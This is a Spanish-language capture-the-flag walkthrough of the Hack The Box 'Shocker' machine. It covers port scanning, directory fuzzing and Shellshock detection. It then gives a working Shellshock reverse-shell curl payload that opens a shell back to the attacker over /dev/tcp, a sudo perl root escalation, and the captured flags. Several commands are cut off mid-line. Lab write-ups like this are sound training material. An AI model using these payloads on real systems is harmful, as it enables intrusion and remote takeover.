

Shocker

We start with a scan of ports and services using the nmap tool.

```
sudo nmap -p- --open -sS --min-rate 5000 -n -v -sV -Pn 10.10.10.56 > escaneo.txt
```

```
File: escaneo.txt

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-28 22:18 EDT
NSE: Loaded 46 scripts for scanning.
Initiating SYN Stealth Scan at 22:18
Scanning 10.10.10.56 [65535 ports]
Discovered open port 80/tcp on 10.10.10.56
Discovered open port 2222/tcp on 10.10.10.56
Completed SYN Stealth Scan at 22:19, 12.63s elapsed (65535 total ports)
Initiating Service scan at 22:19
Scanning 2 services on 10.10.10.56
Completed Service scan at 22:19, 6.11s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.56.
Initiating NSE at 22:19
Completed NSE at 22:19, 0.24s elapsed
Initiating NSE at 22:19
Completed NSE at 22:19, 0.19s elapsed
Nmap scan report for 10.10.10.56
Host is up (0.054s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
2222/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; p
rotocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at htt
ps://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.43 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65535 (2.621MB)
```

Encontramos que los puertos 80 (http) y 2222(ssh) estan abiertos, ademas el puerto 80 corre un servicio apache.

Usaremos la herramienta whatweb para escanear la web antes de visitarla

```

> whatweb -v http://10.10.10.56/
WhatWeb report for http://10.10.10.56/
Status      : 200 OK
Title       : <None>
IP          : 10.10.10.56
Country     : RESERVED, ZZ

Summary     : Apache[2.4.18], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)]

Detected Plugins:
[ Apache ]
  The Apache HTTP Server Project is an effort to develop and
  maintain an open-source HTTP server for modern operating
  systems including UNIX and Windows NT. The goal of this
  project is to provide a secure, efficient and extensible
  server that provides HTTP services in sync with the current
  HTTP standards.

  Version      : 2.4.18 (from HTTP Server Header)
  Google Dorks : (3)
  Website      : http://httpd.apache.org/

[ HTML5 ]
  HTML version 5, detected by the doctype declaration

[ HTTPServer ]
  HTTP server header string. This plugin also attempts to
  identify the operating system from the server header.

  OS           : Ubuntu Linux
  String       : Apache/2.4.18 (Ubuntu) (from server string)

HTTP Headers:
  HTTP/1.1 200 OK
  Date: Mon, 29 Jul 2024 02:21:38 GMT
  Server: Apache/2.4.18 (Ubuntu)
  Last-Modified: Fri, 22 Sep 2017 20:01:19 GMT
  ETag: "89-559ccac257884-gzip"
  Accept-Ranges: bytes
  Vary: Accept-Encoding
  Content-Encoding: gzip
  Content-Length: 134

```

```

Content-Length: 134
Connection: close
Content-Type: text/html

```

Visitamos la web

Al ver que no encontramos nada en la web ni en los metadatos de la imagen hacemos un fuzzing de directorios y extensiones

Sin la / despues del FUZZ

```
ffuf -w ../../diccionario/Directorios/directory-list-2.3-medium.txt -u http://10.10.10.10/
```

```
index.html [Status: 200, Size: 137, Words: 9, Lines: 10, Duration: 47ms]
.html [Status: 403, Size: 291, Words: 22, Lines: 12, Duration: 47ms]
.html [Status: 403, Size: 291, Words: 22, Lines: 12, Duration: 50ms]
server-status [Status: 200, Size: 137, Words: 9, Lines: 10, Duration: 51ms]
server-status [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 46ms]
:: Progress: [303860/882236] :: Job: [1/1] :: 865 req/sec :: Duration: [0:08:14] :: Errors: 0 ::
```

Hemos lanzado el escaneo sin la / al final y no encuentra nada por lo que la añadiremos a ver que pasa (algunos directorios no los encuentra con la barra al final viceversa)

```
ffuf -w ../../diccionario/Directorios/directory-list-2.3-medium.txt -u http://10.10.10.10/
```

```
.html [Status: 403, Size: 292, Words: 22, Lines: 12, Duration: 46ms]
cgi-bin [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 48ms]
icons [Status: 403, Size: 292, Words: 22, Lines: 12, Duration: 48ms]
```

Hemos encontrado estos directorios

cgi-bin es un directorio que permite la ejecución de scripts basados en Perl y Shell.

Buscamos vulnerabilidades

<https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi>

Encontramos en la web el siguiente escaneo para ver si es vulnerable o no

```
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```

En la uri vemos que se indica un archivo, asumimos que no es el mismo y hacemos un fuzzing para ver cual es el nuestro.

Teniendo en cuenta los scripts que se ejecutan en este directorio haremos un escaneo con unas extensiones concretas

.pl,.pm,.t,.sh,.bash,.zsh,.ksh

```
ffuf -w Desktop/diccionario/Directorios/directory-list-2.3-medium.txt -u http://10
```

este es nuestro archivo

```
user.sh [Status: 200, Size: 118, Words: 18, Lines: 8, Duration: 72ms]
```

Procedemos a comprobar si es vulnerable o no la web en cuestión

```
nmap 10.10.10.56 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/user.s
```

```
> nmap 10.10.10.56 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/user.sh
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-29 20:42 EDT
Nmap scan report for 10.10.10.56
Host is up (0.046s latency).

PORT      STATE SERVICE
80/tcp    open  http
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|   State: VULNERABLE (Exploitable)
|   IDs: CVE:CVE-2014-6271
|   This web application might be affected by the vulnerability known
|   as Shellshock. It seems the server is executing commands injected
|   via malicious HTTP headers.
|
|   Disclosure date: 2014-09-24
|   References:
|   http://www.openwall.com/lists/oss-security/2014/09/24/10
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|   http://seclists.org/oss-sec/2014/q3/685
|_

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds
```

Ejecutamos

```
curl -H 'User-Agent: () { :; }; "' http://10.10.10.56/cgi-bin/user.sh 2>/dev/null
```

Devuelve

```
Content-type: text/plain

Just an uptime test script

20:49:02 up 22:33,  0 users,  load average: 0.00, 0.02, 0.05
```

Al introducir 10.10.10.56/cgi-bin/user.sh en el navegador se nos descarga el archivo y comprobamos que el contenido es el mismo, por lo que es vulnerable.

Esta es la reverse shell

```
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.37/4444 0>&1' http
```

Nos ponemos en escucha y la ejecutamos

```
> curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.37/4444 0>&1' http://10.10.10.56/cgi-bin/user.sh
[1]

> nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.37] from (UNKNOWN) [10.10.10.56] 47128
bash: no job control in this shell
shelly@Shocker: /usr/lib/cgi-bin$ whoami
whoami
shelly
shelly@Shocker: /usr/lib/cgi-bin$ |
```

Hacemos un sudo -l y vemos si podemos ejecutar algun binario como sudo

```
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
shelly@shocker: /usr/lib/cgi-bin$ |
```

Vemos que podemos ejecutar el binario perl como sudo por lo que nos dirigimos a GTFOBins

Perl|+sudo

Binary

perl

perlbug

Functions

Shell Reverse shell File read SUID Sudo Capabilities

Shell Sudo

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo perl -e 'exec "/bin/sh";'
```

Ejecutamos el comando

```
sudo perl -e 'exec "/bin/sh";'
```

```
shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/sh";'  
sudo perl -e 'exec "/bin/sh";'  
whoami  
root  
|
```

Ya somos Root!!!!!!!!!!!!

User flag

```
cd /home  
ls  
shelly  
cd shelly  
ls  
user.txt  
cat user.txt  
0bde62f5da38c334af9e5e4b5df3d265
```

Root flag

```
cat /root/root.txt  
63de6e11a04c5f5b534f50c0f2aff4da  
|
```